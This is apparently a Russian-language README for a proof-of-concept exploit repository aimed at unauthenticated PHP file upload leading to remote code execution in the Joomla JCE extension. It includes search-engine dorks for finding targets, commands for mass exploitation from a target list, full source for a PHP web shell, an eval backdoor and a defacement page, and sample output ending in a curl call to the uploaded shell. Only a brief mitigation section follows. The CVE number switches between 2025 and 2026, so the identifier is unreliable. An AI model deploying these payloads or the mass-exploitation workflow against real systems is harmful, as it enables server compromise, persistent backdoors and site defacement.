
CVE-2025-48907 - Эксплойт для неаутентифицированного RCE в Joomla JCE < 2.9.99.5
http.component:"Joomla"
app="Joomla"
Этот репозиторий содержит эксплойт доказательства концепции (PoC) для CVE-2026-48907, критической уязвимости в расширении Joomla! JCE (Joomla Content Editor) версий ниже 2.9.99.5. Уязвимость позволяет неавторизованным злоумышленникам загружать произвольные PHP файлы через функциональность импорта профилей JCE, что приводит к удаленному выполнению кода (RCE).
Этот инструмент предназначен только для образовательных и авторизованных целей тестирования.
- Используйте только на системах, которые вам принадлежат или на тестирование которых у вас есть явное разрешение.
- Автор не несет ответственности за любое неправомерное использование или незаконные действия.
- Всегда получайте надлежащее разрешение перед тестированием.
| Свойство | Значение |
|---|---|
| CVE ID | CVE-2026-48907 |
| Продукт | Расширение Joomla! JCE |
| Затронутые версии | < 2.9.99.5 |
| Тип уязвимости | Неавторизованная загрузка PHP-файла → RCE |
| Оценка CVSS | 9.8 (Критический) |
| Вектор атаки | Сеть |
| Аутентификация | Не требуется |
| Воздействие | Полный компрометация системы |
index.php?option=com_jce&task=profiles.import)./tmp/ и может быть выполнен через прямой доступ.# Клонирование репозитория
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Установка необходимых зависимостей
pip3 install requests urllib3
requestsurllib3python3 CVE-2025-48907.py -u <TARGET_URL> -F <PHP_FILE_TO_UPLOAD>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
| Аргумент | Обязательный | Описание |
|---|---|---|
-u, --url | Да* | Одиночный URL цели (например, http://target.com) |
-f, --file | Да* | Файл со списком URL целей (по одному на строку) |
-F, --upload-file | Да | PHP файл для загрузки (шелл, бэкдор, страница дефейса) |
-v, --verbose | Нет | Включить подробный вывод для отладки |
-o, --output | Нет | Сохранить URL успешных загрузок в файл |
* Должен быть указан либо -u, либо -f
Создайте файл targets.txt с одним URL на строку:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Комментарии игнорируются
https://example-joomla.com
Все нагрузки должны быть PHP файлами, так как эксплойт загружает PHP код, который будет выполнен на сервере.
Создайте shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
Создайте deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Создайте backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE
Author : 0xgh057r3c0n (PHP File Upload)
[*] Loaded 3 target(s)
[*] Target 1/3
[*] ==================================================
[+] Target: http://target-joomla.com
[+] Fetching CSRF token...
[+] CSRF Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Uploading PHP file: cve-2026-48907-1234.xml.php
[+] Profile imported successfully!
[+] Testing uploaded PHP file...
============================================================
[!!!!!] PHP FILE UPLOADED SUCCESSFULLY!
[!!!!!] Server IS VULNERABLE to CVE-2025-48907!
============================================================
[+] View your uploaded PHP file: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Quick access:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/index.php?option=com_jce&task=profiles.import.xml.php в /tmp//tmp/Обновление расширения JCE:
Временные обходные меры:
/tmp/allow_url_fopen, если это не требуетсяДействия после компрометации:
/tmp/Этот проект лицензирован в соответствии с Лицензией MIT — подробнее см. в файле LICENSE.
Приветствуются любые вклады! Пожалуйста, смело отправляйте Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Если вы нашли этот инструмент полезным, пожалуйста, подумайте о том, чтобы поставить ему звезду ⭐ на GitHub!